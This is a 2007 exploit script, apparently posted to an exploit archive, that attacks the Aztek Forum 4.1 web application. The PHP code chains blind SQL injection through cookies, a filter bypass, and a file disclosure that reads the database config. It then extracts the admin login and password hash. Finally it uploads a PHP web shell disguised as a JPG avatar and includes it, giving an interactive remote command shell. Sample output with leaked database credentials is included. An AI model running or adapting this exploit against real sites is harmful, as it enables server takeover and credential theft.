Home / os

aztek41-sploit.txt

Posted on 27 January 2007

#!/usr/bin/php
<?php

/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php"); # >= 1.2
error_reporting(E_ALL ^ E_NOTICE);

/*
header> Aztek Forum 4.1 Multiple Vulnerabilities Exploit
header> ===================================================
sploit> Owner -> root
status> Trying to register a new user
sploit> Login/Password -> phpsploit8435
status> Trying to get databases informations
sploit> Full Path Disclosure -> /home/www/aztekforum/forum/load.php
sploit> Done (./avatar/phpsploit8435.jpg)
sploit> $dbhost -> localhost
sploit> $usebdd -> aztek
sploit> $user -> root
sploit> $password -> toor
sploit> $salt -> atk
status> Trying to get the administrator login/passwd
sploit> Username length 7
sploit> Username -> darkfig
sploit> Password length 13
sploit> Password -> atovlv6iH1rUo
sploit> Salt -> atk (Standard DES hash)
sploit> Enter the decrypted password for continue: hello
status> Uploading a malicious picture
status> Trying to get logged in
sploit> Done
status> Creating a hidden forum
sploit> Done
status> Trying to include the picture
$shell> whoami
DarkFig

$shell> exit
*/
if($argc < 2)
{
print "
---------------------------------------------------------";
print "
Affected.scr..: Aztek Forum V4.1";
print "
Poc.ID........: 21070125";
print "
Type..........: Multiple vulnerability";
print "
Conditions....: None =)";
print "
Risk.level....: High";
print "
Src.download..: www.forum-aztek.com";
print "
Poc.link......: acid-root.new.fr/poc/21070125.txt";
print "
Credits.......: DarkFig";
print "
---------------------------------------------------------";
print "
Usage.........: php xpl.php <url> <proxyoptions>";
print "
ProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
print "
Example.......: php xpl.php http://victim.com/";
print "
---------------------------------------------------------";
exit(1);
}

/*

---[ CODE ./common/config.php
-----------------------------
@extract($_POST);	    // Variables en POST
@extract($_GET);		// Variables en GET
@extract($_COOKIE);	// Variable des cookies
@extract($_SERVER);	// Variable Server
-----------------------------
|
+-> All variables initialized before the inclusion can be overwritten.


---[ CODE ./common/safety.php
-----------------------------
$BANNED_STRING[] = "%22";
$BANNED_STRING[] = "%23";
$BANNED_STRING[] = "%47";
...
foreach($_GET as $key=>$value) ...
$_POST[$key] = str_replace($BANNED_STRING[$i], "", $_POST[$key]);
$$key = $_POST[$key];
...
foreach($_POST as $key=>$value) ...
$_GET[$key] = str_replace($BANNED_STRING[$i], "", $_GET[$key]);
$$key = $_GET[$key];
-----------------------------
|
+-> Filter can be bypassed with extract($_COOKIE)


---[ CODE ./forum/load.php
--------------------------
if(!empty($fid)) $FORUM=$fid;
...
$sql=dbquery("SELECT * FROM atk_forums WHERE id=$FORUM",33,29);
$PF=mysql_fetch_array($sql);
--------------------------
|
+-> Blind SQL Injection without quote


---[ CODE ./index/main.php
--------------------------
if($PF["top_url"]) @include($PF["top_url"]);
--------------------------
|
+-> Remote File Inclusion (admin rights needed in order to insert "top_url" in "atk_forums")


---[ CODE ./index/common_actions.php
------------------------------------
$file = $_FILES['upload']['tmp_name']; ...
if(@copy($file,$path_file)) $avatar=$path_file;
------------------------------------
|
+-> $_FILES can be overwritten (with extract()), this can lead to file disclosure =).

*/
$url=$argv[1];$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);

print "
header> Aztek Forum 4.1 Multiple Vulnerabilities Exploit";
print "
header> ===================================================";

if(preg_match("#href='./index.php?owner=(S*)'#i",$xpl->getcontent($xpl->get($url.'forum.php?fid=-1%20or%201=1')),$matches)) print "
sploit> Owner -> ".$matches[1];
else die("
sploit> Exploit failed");
$owner = $matches[1];

print "
status> Trying to register a new user";
$xpl->cookiejar(1);
$xpl->allowredirection(1);
$name = "phpsploit".rand();
$xpl->post($url."index.php?owner=$owner&action=subscribe","login=$name&passwd=$name&passwd2=$name&email=$name%40hotmail.coum&show_email=on&cookie=on");
print "
sploit> Login/Password -> $name";

print "
status> Trying to get databases informations";
$xpl->get($url."forum.php?fid=XD");
if(preg_match("#file (.*) in function#i",$xpl->getcontent(),$matches)) print "
sploit> Full Path Disclosure -> ".$matches[1];
else print("
sploit> Failed");
$wanted = str_replace("forum/load.php","common/bddconf.php",$matches[1]);

if(!empty($wanted)){
$xpl->get($url."index.php?owner=$owner&action=profile&_SERVER[email]=$name%40hotmail.coum&_FILES[upload][tmp_name]=$wanted&_FILES[upload][name]=0123456789&_FILES[upload][type]=jpg");
$xpl->get($url."index.php?owner=$owner&choix=3");
if(preg_match("#<IMG src='(.*)' width='([0-9]*)' height='([0-9]*)'>#i",$xpl->getcontent(),$matches)) print "
sploit> Done (".$matches[1].")";
else print("
sploit> Failed");
$avatarur = $matches[1];
if(!empty($matches[1])){
$xpl->get($url.str_replace("./","/",$matches[1]));
preg_match_all("#(.*)='(.*)';#",$xpl->getcontent(),$vars);
for($z=0;$z<=4;$z++){
print "
sploit> ".strtolower($vars[1][$z])." -> ".$vars[2][$z];
}}}

print "
status> Trying to get the administrator login/passwd";
$headers = array("Username","Password");
$fields  = array("login","passwd");
$value=$length=array();

for($a=0;$a<2;$a++){

print "
sploit> ".$headers[$a]." length ";
for($b=1;$b<3;$b++){
for($c=48;$c<=57;$c++){
$xpl->addcookie("fid","-1%20OR%20SUBSTR(LENGTH((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201)),$b,1)=CHAR($c)");
if(!preg_match("#<TITLE></TITLE>#i",$xpl->getcontent($xpl->get($url."forum.php")))) {
$length[$a] .= chr($c);
print chr($c);
break;
}}}

print "
sploit> ".$headers[$a]." -> ";
for($d=1;$d<=$length[$a];$d++){
for($e=0;$e<=128;$e++){
$xpl->addcookie("fid","-1%20OR%20HEX(SUBSTR((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201),$d,1))=HEX(CHAR($e))");
if(!preg_match("#<TITLE></TITLE>#i",$xpl->getcontent($xpl->get($url."forum.php")))) {
$value[$a] .= chr($e);
print chr($e);
break;
}}}}

$salt = !empty($vars[2][4]) ? $vars[2][4] : 'atk'; # Always the same salt ...
print "
sploit> Salt -> $salt (Standard DES hash)";
print "
sploit> Enter the decrypted password for continue: ";
$password = trim(fgets(STDIN));
$xpl->addcookie("fid","-1 or 1=1");
$xpl->cookiejar(1);

print "status> Uploading a malicious picture";
$formdata = array(frmdt_url => $url."?owner=$owner&action=profile",
"email"   => "$name@hotmail.coum",
"url"     => "http://",
"upload"  => array(frmdt_type     => "image/jpg",
frmdt_filename => "hello.jpg",
frmdt_content  => "<?php print 337666733;@extract($_SERVER);@system($HTTP_REFERER);print 337666733;exit(0); ?>"),
"avatar"  => "./avatar/welcome.jpg");
$xpl->formdata($formdata);

print "
status> Trying to get logged in";
$xpl->post($url.'myadmin.php?action=login','login='.$value[0].'&passwd='.$password);
if(preg_match("#ATK_ADMIN#i",$xpl->showcookie())) print "
sploit> Done";
else die("
sploit> Exploit failed");

print "
status> Creating a hidden forum";
$xpl->get($url.'myadmin.php?choix=2');
if(!preg_match("#<option value='(S+)'#",$xpl->getcontent(),$styles)) $styles[1] = "xml_BlueLight";
$xpl->post($url.'myadmin.php?action=create',"title=$name&filename=$name&passwd=&style=".$styles[1]."&structure=1&subject=");
$xpl->get($url.'myadmin.php?choix=1');
if(!preg_match_all("#action=hide_forum&id=([0-9]+)#",$xpl->getcontent(),$fid)) die("
sploit> Can't retrieve the forum id");
$forumid = $fid[1][(count($fid[1])-1)];
$xpl->get($url."myadmin.php?choix=1&action=hide_forum&id=$forumid");

print "
sploit> Done
status> Trying to include the picture
$shell> ";
if(empty($avatarur)) $avatarur="./avatar/$name.jpg";
$xpl->post($url."myadmin.php?action=rec_perso&id=$forumid&choix=3","PARAM%5Btop_url%5D=$avatarur");
$xpl->reset();

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
$xpl->addheader("Referer",$cmd);
$xpl->get($url.$name.'.php');
$data = explode("337666733",$xpl->getcontent());
print $data[1]."
$shell> ";
}

?>

 

TOP